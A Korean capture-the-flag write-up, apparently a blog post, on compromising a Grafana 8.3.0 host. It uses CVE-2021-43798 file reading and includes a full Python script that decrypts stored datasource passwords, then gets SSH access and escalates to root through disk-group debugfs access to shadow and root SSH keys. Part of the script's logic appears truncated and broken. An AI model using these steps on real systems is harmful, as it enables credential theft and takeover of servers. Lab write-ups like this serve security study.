1. Information Gathering

- run rustscan

 

- web enum : port 3000

: grafana v8.3.0 (CVE-2021-43798)

 

 

- Confirm CVE-2021-43798

 

: Grafana Unauthorized arbitrary file reading vulnerability

경로탐색(Directory Traversal)으로 인해 발생하는 정보 노출 취약점

 

 


 

 

2. Exploitation

 

: 문제 해결을 위해 필요한 정보는

사용자 아이디

grafana ini 파일 내 secret key

grafana db 파일 내 사용자의 basicAuthPassword

 

secret key + basicAuthPassword를 통해

Plaintext 암호 추출이 가능하다.

 

 

위 프로그램 코드는 다음과 같다.

import base64
from hashlib import pbkdf2_hmac
from Crypto.Cipher import AES

saltLength = 8
aesCfb = "aes-cfb"
aesGcm = "aes-gcm"
encryptionAlgorithmDelimiter = '*'
nonceByteSize = 12

def decrypt(payload, secret):
    alg, payload, err = deriveEncryptionAlgorithm(payload)

    if err is not None:
        return None, err

    if len(payload) < saltLength:
        return None, "Unable to compute salt"

    salt = payload[:saltLength]
    key, err = encryptionKeyToBytes(secret, salt)

    if err is not None:
        return None, err

    if alg == aesCfb:
        return decryptCFB(payload, key)
    elif alg == aesGcm:
        return decryptGCM(payload, key)

    return None, None


def deriveEncryptionAlgorithm(payload):
    if len(payload) == 0:
        return "", None, "Unable to derive encryption"

    if payload[0] != encryptionAlgorithmDelimiter.encode():
        return aesCfb, payload, None

    payload = payload[:1]


def encryptionKeyToBytes(secret, salt):
    return pbkdf2_hmac("sha256", secret.encode("utf-8"), salt, 10000, 32), None


def decryptGCM(payload, key):
    nonce = payload[saltLength: saltLength+nonceByteSize]
    payload = payload[saltLength+nonceByteSize:]

    gcm = AES.new(key, AES.MODE_GCM, nonce, segment_size=128)

    return gcm.decrypt(payload).decode(), None


def decryptCFB(payload, key):
    if len(payload) < AES.block_size:
        return None, "Payload too short"

    iv = payload[saltLength: saltLength + AES.block_size]
    payload = payload[saltLength+AES.block_size:]

    cipher = AES.new(key, AES.MODE_CFB, iv, segment_size=128)

    return cipher.decrypt(payload).decode(), None

if __name__ == "__main__":
    grafanaIni_secretKey = "SW2YcwTIb9zpOOhoPsMm"
    dataSourcePassword = "anBneWFNQ2z+IDGhz3a7wxaqjimuglSXTeMvhbvsveZwVzreNJSw+hsV4w=="

    encrypted = base64.b64decode(dataSourcePassword.encode())
    pwdBytes, _ = decrypt(encrypted, grafanaIni_secretKey)
    print("복호화 암호 = ", pwdBytes)
 

 

 

사용자 명 + 암호가 있으니

ssh로 접속 시도

침투 성공

 

 


 

3. Privilege Escalation

 

: 권한 상승을 위한 팁은

id 커맨드 입력 시 나오는 사용자 그룹 (disk)

 

disk group은 사용자로 하여금

디스크 및 파티션의 시스템 내부

모든 데이터에 액세스를 제공하는데 (루트 액세스와 동일)

이 때문에 사용자는 제한된 파일을 읽고 쓸 수 있다.

 

$ df -h 명령어로 파티션 확인

 

/ 가 어느 곳에 마운트 되어있는지 확인한 뒤

debugfs 명령어를 통해 접근하면 된다.

 

 

shadow 파일 액세스까지 가능하니

이대로 flag를 찾아도 되지만

권한을 탈취하는 것이 목적이니 만큼

방법을 찾아본다.

 

 

: ssh 키를 통한 root 권한 탈취

 

 

위 키를 공격 서버에 복사 후

접속하면 되겠다.

 

 

728x90

+ Recent posts